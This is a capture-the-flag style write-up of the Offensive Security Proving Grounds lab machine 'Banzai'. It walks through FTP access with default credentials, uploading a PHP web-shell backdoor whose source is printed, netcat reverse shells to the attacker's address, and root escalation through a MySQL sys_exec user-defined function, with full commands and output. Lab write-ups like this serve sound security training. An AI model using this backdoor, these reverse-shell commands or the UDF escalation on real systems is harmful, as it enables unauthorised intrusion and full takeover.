Offensive Security – Proving Grounds – Banzai Write-up – No Metasploit

Banzai from Offensive Security was released on August 3rd, 2020. This machine is a Linux machine with the difficulty rating of intermediate. The flavor text provided with the VM is “You should be careful around raptors – they are dangerous!”. Even after rooting the box, this doesn’t make sense to me. Maybe I took an unintended route. Either way this machine foothold was simple with a more complex privilege escalation.

Reconnaissance

Lets jump in and start with a NMAP scan running all scripts, determine services/version info, ignore no ping, and output all formats to filename simple.*

kali@kali:~/oscp/offsec/bonzai$ nmap -sC -sV -Pn -oA simple 192.168.199.56
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-24 18:36 EST
Nmap scan report for 192.168.199.56
Host is up (0.072s latency).
Not shown: 994 filtered ports
PORT     STATE  SERVICE    VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp        vsftpd 3.0.3
22/tcp   open   ssh        OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 ba:3f:68:15:28:86:36:49:7b:4a:84:22:68:15:cc:d1 (RSA)
|   256 2d:ec:3f:78:31:c3:d0:34:5e:3f:e7:6b:77:b5:61:09 (ECDSA)
|_  256 4f:61:5c:cc:b0:1f:be:b4:eb:8f:1c:89:71:04:f0:aa (ED25519)
25/tcp   open   smtp       Postfix smtpd
|_smtp-commands: banzai.offseclabs.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Not valid before: 2020-06-04T14:30:35
|_Not valid after:  2030-06-02T14:30:35
|_ssl-date: TLS randomness does not represent time
5432/tcp open   postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.17
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Not valid before: 2020-06-04T14:30:35
|_Not valid after:  2030-06-02T14:30:35
|_ssl-date: TLS randomness does not represent time
8080/tcp open   http       Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: 403 Forbidden
Service Info: Hosts:  banzai.offseclabs.com, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.21 seconds

First checking out the apache server on port 8080.

No luck there. Next lets see if we can connect to postgresql with any default passwords.

kali@kali:~/oscp/offsec/bonzai$ psql -h 192.168.199.56 -U postsgres -p 5432
psql: error: could not connect to server: FATAL:  no pg_hba.conf entry for host "192.168.49.199", user "postsgres", database "postsgres", SSL on
FATAL:  no pg_hba.conf entry for host "192.168.49.199", user "postsgres", database "postsgres", SSL off

Again, a dead end. Now for FTP on port 21.

kali@kali:~/oscp/offsec/bonzai$ ftp 192.168.199.56 21
Connected to 192.168.199.56.
220 (vsFTPd 3.0.3)
Name (192.168.199.56:kali): admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Weak authentication allowed access with admin:admin. Lets take a look and see what we have access to.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
226 Directory send OK.

Looks like we may access to some web server files. Pull all the files down from the FTP server with get filename command.

ftp> get index.php
local: index.php remote: index.php
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for index.php (23364 bytes).
226 Transfer complete.
23364 bytes received in 0.08 secs (287.2843 kB/s)

Nothing too useful here, however I feel there could be another port using the files in the FTP. Back to NMAP for all TCP ports.

Initial Access

kali@kali:~/oscp/offsec/bonzai$ nmap -sC -sV -Pn -p- -oA all 192.168.199.56
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-24 18:57 EST
Nmap scan report for 192.168.199.56
Host is up (0.068s latency).
Not shown: 65528 filtered ports
PORT     STATE  SERVICE    VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp        vsftpd 3.0.3
22/tcp   open   ssh        OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 ba:3f:68:15:28:86:36:49:7b:4a:84:22:68:15:cc:d1 (RSA)
|   256 2d:ec:3f:78:31:c3:d0:34:5e:3f:e7:6b:77:b5:61:09 (ECDSA)
|_  256 4f:61:5c:cc:b0:1f:be:b4:eb:8f:1c:89:71:04:f0:aa (ED25519)
25/tcp   open   smtp       Postfix smtpd
|_smtp-commands: banzai.offseclabs.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Not valid before: 2020-06-04T14:30:35
|_Not valid after:  2030-06-02T14:30:35
|_ssl-date: TLS randomness does not represent time
5432/tcp open   postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.17
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Not valid before: 2020-06-04T14:30:35
|_Not valid after:  2030-06-02T14:30:35
|_ssl-date: TLS randomness does not represent time
8080/tcp open   http       Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: 403 Forbidden
8295/tcp open   http       Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Banzai
Service Info: Hosts:  banzai.offseclabs.com, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 327.32 seconds

Port 8295 is new. Lets see what is being served up on that page.

Now we see the page using the resources available in the FTP directory. Lets see if we can add a file and access it. For this I will be using a simple PHP backdoor.

kali@kali:~/oscp/offsec/bonzai$ cat simple-backdoor.php 
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

Now upload the file using the FTP server and change the permissions on the file to avoid any access issues during the GET request.

ftp> put simple-backdoor.php 
local: simple-backdoor.php remote: simple-backdoor.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
328 bytes sent in 0.00 secs (9.2002 MB/s)
ftp> chmod 777 simple-backdoor.php 
200 SITE CHMOD command ok.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
-rwxrwxrwx    1 1001     1001          328 Jan 24 20:22 simple-backdoor.php
226 Directory send OK.

Create a get request followed by a test command. Here I will use whoami. http://192.168.130.56:8295/simple-backdoor.php?cmd=whoami

Nice! We may be able to get a low privilege shell now. First lets start a listener on port 22 on my kali box. *Note: This took some time due to what seems to be many outgoing ports blocked on the target machine.

kali@kali:~/oscp/offsec/bonzai$ sudo nc -lvnp 22
[sudo] password for kali: 
listening on [any] 22 ...

For this we will be using the following request http://192.168.130.56:8295/simple-backdoor.php?cmd=nc+-e+/bin/sh+192.168.49.130+22

Looking back at the listener.

kali@kali:~/oscp/offsec/bonzai$ sudo nc -lvnp 22
[sudo] password for kali: 
listening on [any] 22 ...
connect to [192.168.49.130] from (UNKNOWN) [192.168.130.56] 39524
whoami
www-data

We have a foothold. First lets upgrade the shell for usability using python.

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@banzai:/var/www/html$

Lets check out the users on the system.

www-data@banzai:/var/www$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
Debian-exim:x:105:109::/var/spool/exim4:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
banzai:x:1000:1000:Banzai,,,:/home/banzai:/bin/bash
admin:x:1001:1001::/var/www/html/:
ftp:x:108:113:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:109:114:MySQL Server,,,:/var/lib/mysql:/bin/false
postfix:x:110:115::/var/spool/postfix:/bin/false
postgres:x:111:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

Check to see if we have permissions to enter the banzai user folder.

www-data@banzai:/home$ cd /home/banzai
cd /home/banzai
www-data@banzai:/home/banzai$ ls
ls
index.php  local.txt
www-data@banzai:/home/banzai$ cat local.txt
cat local.txt
9fa77aad02b6a9dfcd0e76c598d49b37

We have access and can grab the user flag for the machine.

Privilege Escalation

After looking through the system manually, I discovered a /var/www/config.php file.

www-data@banzai:/var/www$ cat config.php
cat config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>

This file contained the mysql root credentials. We see that the mysql service is running as root.

www-data@banzai:/var/www$ ps -aux | grep mysql
ps -aux | grep mysql
root       735  0.0  8.5 1122720 175744 ?      Sl   20:17   0:00 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid

Use the credentials to gain access to the database as root.

www-data@banzai:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: EscalateRaftHubris123

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.30 MySQL Community Server (GPL)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Checking online for any exploits using version enumeration came up short. Though I did try one privilege escalation using an Apache exploit for the installed version.

Looking back at mysql, I ran across a possible avenue to escalate privileges using a method found on recipeforroot.com.

This privilege escalation uses the sys_exec function with lib_mysqludf_sys.so to run commands on the OS as the user running mysql. For us that is root, so lets give it a shot.

I checked the directories on the system for an already existing lib_mysqludf_sys.so file, but no luck. We will have to grab one. I found a good resource on github here.

Check if the machine is 32 or 64 bit.

www-data@banzai:/var/www$ uname -m
uname -m
x86_64

Download the file and put the file on the system using the FTP server. Change the permissions on the file to prevent any issues.

kali@kali:~/oscp/offsec/bonzai/results/192.168.244.56/exploit$ ftp 192.168.130.56 21
Connected to 192.168.130.56.
220 (vsFTPd 3.0.3)
Name (192.168.130.56:kali): admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put lib_mysqludf_sys_64.so 
local: lib_mysqludf_sys_64.so remote: lib_mysqludf_sys_64.so
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
8040 bytes sent in 0.00 secs (93.5066 MB/s)
ftp> chmod 777 lib_mysqludf_sys_64.so 
200 SITE CHMOD command ok.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
-rwxrwxrwx    1 1001     1001         8040 Jan 24 20:57 lib_mysqludf_sys_64.so
-rwxrwxrwx    1 1001     1001          328 Jan 24 20:22 simple-backdoor.php
226 Directory send OK.

First we want to pick a database to use for remote code execution. I am choosing mysql.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Next, we create a new table.

mysql> create table trenchesofit(line blob);
create table trenchesofit(line blob);
Query OK, 0 rows affected (0.01 sec)

Then insert the values of the uploaded file into the new table.

mysql> insert into trenchesofit values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));
insert into trenchesofit values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));
Query OK, 1 row affected (0.00 sec)

Finally we select all from the new table and dump the contents into the mysql plugin directory.

mysql> select * from trenchesofit into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
select * from trenchesofit into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
Query OK, 1 row affected (0.01 sec)

Last, we create the sys_exec function on the new plugin.

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
Query OK, 0 rows affected (0.00 sec)

Start the needed reverse shell. Yes, we can have two incoming connections on port 22 due to virtual ports.

kali@kali:~$ sudo nc -lvnp 22
[sudo] password for kali: 
listening on [any] 22 ...

Now we execute the netcat reverse shell command.

mysql> select sys_exec('nc -e /bin/sh 192.168.49.130 22');
select sys_exec('nc -e /bin/sh 192.168.49.130 22');

Check back on the netcat listener.

kali@kali:~$ sudo nc -lvnp 22
[sudo] password for kali: 
listening on [any] 22 ...
connect to [192.168.49.130] from (UNKNOWN) [192.168.130.56] 39526
whoami
root

Yes! We have a new shell and we are root!

python3 -c 'import pty;pty.spawn("/bin/bash")'
root@banzai:/var/lib/mysql# cd /root
cd /root
root@banzai:~# ls
ls
proof.txt
root@banzai:~# cat proof.txt
cat proof.txt
c289c28e0a6d2dd6fedb0761845554a5

I upgraded the shell and grabbed the root flag.

Post exploitation enumeration

I was curious what the firewall settings for the machine were due to all the reverse shell issues I had when attempting to get the initial foothold. Lets take a look.

root@banzai:~# sudo iptables -S    
sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m conntrack --ctstate NEW,RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 20 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5432 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8295 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -j DROP
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 20 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 20 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 25 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 25 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 5432 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 5432 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 8080 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8295 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 8295 -m state --state NEW,ESTABLISHED -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A OUTPUT -j DROP

Ahh, it all makes sense now. The firewall is only allowing a few outbound port connections.

Conclusion

Banzai from Offensive Security provided some great experience using a root mysql user to elevate privileges on the system. The machine was also not as straight forward on the foothold due to the firewall configurations on the machine. Hopefully you enjoyed the box as much as I did. Unfortunately at the time of doing this write-up Offensive Security does not allow viewing the official walkthrough once the box is completed. This could be an unintended route. Let me know how you all solve this one.

As always, change your default credentials and until next time, stay safe in the Trenches of IT!